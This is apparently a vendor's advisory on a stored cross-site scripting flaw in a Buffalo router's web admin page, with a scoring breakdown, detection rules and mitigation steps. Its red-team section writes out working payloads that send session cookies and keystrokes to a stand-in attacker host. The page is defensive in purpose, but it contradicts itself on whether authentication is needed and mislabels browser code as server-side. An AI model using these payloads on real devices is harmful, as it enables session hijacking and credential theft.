CVE-2025-43877
Executive Summary
CVE-2025-43877 is a stored cross-site scripting (XSS) vulnerability affecting the Buffalo WRC-1167GHBK2-S wireless router. The flaw resides in the WebGUI, allowing an authenticated attacker to inject arbitrary scripts that execute in the browser of any user accessing the router’s management interface. With a CVSS score of 5.4 (Medium), the vulnerability requires user interaction but can lead to session hijacking, credential theft, or further compromise of the local network. No public exploit code or patch is currently available, and the EPSS score remains at 0.0%, indicating low active exploitation. This report provides a full technical breakdown, detection rules, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed to trigger the stored payload.
- User Interaction: Required (UI:R) – victim must visit the WebGUI.
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of data.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. The vulnerability is stored XSS, meaning the payload persists across sessions. While no active exploitation is reported, the lack of a patch makes all unpatched devices vulnerable.
Deep Dive & Mechanics
The Buffalo WRC-1167GHBK2-S router’s WebGUI does not properly sanitize user-supplied input before storing it. An attacker can inject malicious JavaScript into fields such as the SSID, admin notes, or other configuration parameters. When an administrator or user views the affected page, the script executes in the context of the WebGUI session.
Attack Flow:
- Attacker gains access to the WebGUI (default credentials or weak password).
- Attacker navigates to a vulnerable input field (e.g., SSID name, device name, or custom field).
- Attacker injects a payload like
<script>alert('XSS')</script>. - The payload is stored in the router’s configuration database.
- When any user (including the admin) loads the WebGUI page, the script executes.
- The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input validation in the WebGUI rendering engine. The router likely uses embedded web server code (e.g., lighttpd or custom CGI) that does not escape HTML entities.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the router’s firmware WebGUI. A patched version would implement proper HTML entity encoding.
Vulnerable (pseudo-code):
// Server-side (e.g., CGI script)
function renderSSID(ssid) {
document.getElementById('ssid').innerHTML = ssid; // No sanitization
}
Patched (pseudo-code):
// Server-side
function renderSSID(ssid) {
var safe = escapeHtml(ssid); // Encode < > & " '
document.getElementById('ssid').innerHTML = safe;
}
Key Difference: The patched version uses a sanitization function to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to the router’s WebGUI (default credentials often
admin/password). - Network connectivity to the router.
Step-by-Step Exploitation:
- Log in to the WebGUI (e.g.,
http://192.168.1.1). - Navigate to the Wireless Settings page.
- In the SSID field, inject a payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the configuration.
- Wait for an admin to view the Wireless Status page.
- The victim’s browser sends the cookie to the attacker’s server.
Alternative Payload (keylogger):
<script>
document.onkeypress = function(e) {
new Image().src = 'http://attacker.com/k?k=' + e.key;
};
</script>
Blue Team (Defender)
Detection:
- Monitor WebGUI logs for unusual input patterns (e.g.,
<script>tags). - Use network monitoring to detect outbound connections to unknown IPs from the router.
- Check for unexpected changes to SSID or device names.
Honeypot:
- Set up a fake router WebGUI with input validation logging to capture attacker payloads.
Mitigation:
- Immediately change default credentials.
- Disable remote WebGUI access (WAN-side).
- Apply network segmentation to isolate the router.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests from the router to unknown IPs on port 80/443.
- Unusual DNS queries for domains like
attacker.comorsteal.php.
- Host (WebGUI):
- Presence of
<script>tags in SSID, device name, or admin notes fields. - Unexpected JavaScript code in the page source.
- Presence of
- Logs:
- WebGUI access logs showing POST requests with encoded HTML entities.
- Repeated login attempts from unknown IPs.
Example IOC (Suricata rule trigger):
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential XSS exfiltration"; content:"cookie"; http_client_body; sid:1000001;)
Detection Engineering
YARA Rule
rule CVE_2025_43877_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Buffalo router WebGUI"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-43877"
strings:
$xss1 = "<script>" ascii wide
$xss2 = "onerror=" ascii wide
$xss3 = "javascript:" ascii wide
$xss4 = "document.cookie" ascii wide
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in Buffalo WRC-1167GHBK2-S WebGUI
id: 5a8b3c2d-1e4f-4a7b-9c0d-6e5f4a3b2c1d
status: experimental
description: Detects stored XSS attempts via WebGUI input fields
author: Valters IT
logsource:
category: webserver
product: buffalo
detection:
selection:
http.method: "POST"
http.url|contains: "/cgi-bin/"
http.body|contains:
- "<script>"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-43877 Stored XSS Exfiltration Attempt"; flow:to_server,established; content:"cookie"; http_client_body; nocase; sid:20250410; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change Default Credentials: Use a strong, unique password for the WebGUI.
- Disable Remote Management: Block WAN-side access to the router’s admin interface.
- Network Segmentation: Place the router in a separate VLAN to limit blast radius.
- Monitor Logs: Enable logging and review for suspicious input patterns.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Buffalo that implements input sanitization.
- Workaround: If patching is not possible, consider replacing the device with a supported model.
- Web Application Firewall (WAF): Deploy a WAF in front of the router to filter XSS payloads.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Use network monitoring tools to detect exfiltration attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.